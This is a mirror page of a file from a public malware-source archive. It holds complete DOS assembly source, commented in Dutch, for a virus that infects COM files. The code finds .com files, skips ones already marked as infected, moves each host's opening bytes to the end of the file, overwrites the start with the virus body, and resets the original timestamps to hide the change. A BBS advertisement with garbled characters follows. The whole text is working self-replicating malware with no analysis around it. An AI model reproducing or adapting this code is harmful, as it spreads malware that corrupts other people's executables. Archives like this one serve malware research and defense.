mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 01:46:09 +00:00
119 lines
3.5 KiB
NASM
119 lines
3.5 KiB
NASM
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Code Segment
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Assume CS:Code,DS:Code,ES:Code
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V_Length Equ Program - Main
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F_Name Equ 0FC1Eh
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F_Time Equ 0FC16h
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F_Date Equ 0FC18h
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HAdr Equ 0FD00h
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DTA Equ 0FC00h
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Org 100h
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Main:
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push [BOP] ;bewaar orginele offset programma
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mov ah,1ah ;DTA boven neerzetten
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mov dx,DTA ;DTA adres
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int 21h
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mov ah,4eh ;zoek naar COM files
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mov dx,Offset Target
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xor cx,cx
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int 21h
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Read_file:
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mov ax,3d02h ;open het doelbestand
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mov dx,Offset F_Name
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int 21h
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mov bx,ax ;bewaar de file handle
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mov bp,cs:[F_Time] ;Bewaar de tijd
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mov di,cs:[F_Date] ;Bewaar de datum
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mov ah,3fh ;lees deel van het doelbestand
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mov dx,Hadr ;buffer adres
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mov cx,V_Length ;lengte van het 4us
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int 21h ;naar het hoog adres in
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mov si,dx ;Is het bestand al geinfecteerd?
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cmp Word Ptr [si],36ffh
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jne Infect_File ;Nee, infecteer het
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mov ah,4fh ;Zoek volgende COM bestand
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int 21h
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jc End_Infect
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jmp Short Read_File
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Infect_File:
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mov ax,4202h ;zoek naar het einde van doelbestand
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xor cx,cx ;ax bevat na het na het uitvoeren van
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xor dx,dx ;de interrupt de lengte van de file
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int 21h
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add ax,100h ;tel 100h bytes PSP erbij op en
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mov BOP,ax ;bewaar de lengte van het doelbestand
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mov ah,40h ;overschrijf begin van doelbestand
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mov cx,V_Length ;lengte van het 4us
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mov dx,HAdr ;buffer
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int 21h
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mov ax,4200h ;zoek het begin van het doelbestand op
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xor cx,cx
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xor dx,dx
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int 21h
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mov ah,40h ;schrijf de 4uscode over de file
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mov cx,V_Length ;lengte van het 4us
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mov dx,Offset Main
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int 21h
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mov ax,5701h ;zet orginele datum terug
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mov dx,di ;datum
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mov cx,bp ;tijd
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int 21h
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End_Infect:
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mov ah,3eh ;sluit het doelbestand af
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int 21h
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mov ah,1ah ;set DTA terug naar default
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mov dx,0080h
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int 21h
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cld ;voorwaarts
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mov di,HAdr ;buffer
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push di ;en nog een voor het verplaatsen straks
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mov si,Offset MoveBlock ;wijst naar relocator
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mov cx,Program - MoveBlock ;lengte relocator
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rep movsb ;verplaats het block
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ret ;en ga er naar toe
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BOP dw Offset Program
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MoveBlock:
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mov cx,V_Length ;aantal bytes dat verplaatst wordt
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pop si ;haal BOP terug via de stack
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mov di,0100h ;hier gaat het allemaal naar toe
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push di ;bewaar voor de RET
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rep movsb ;verplaatsen
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ret ;en start orginele programma op
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Target:
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db '*.com',0
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Program: ;Dit is het fake programma wat later
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mov ah,4ch ;door de relocator verplaatst wordt
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int 21h ;naar het begin van de file
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Code Ends
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End Main
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> and Remember Don't Forget to Call <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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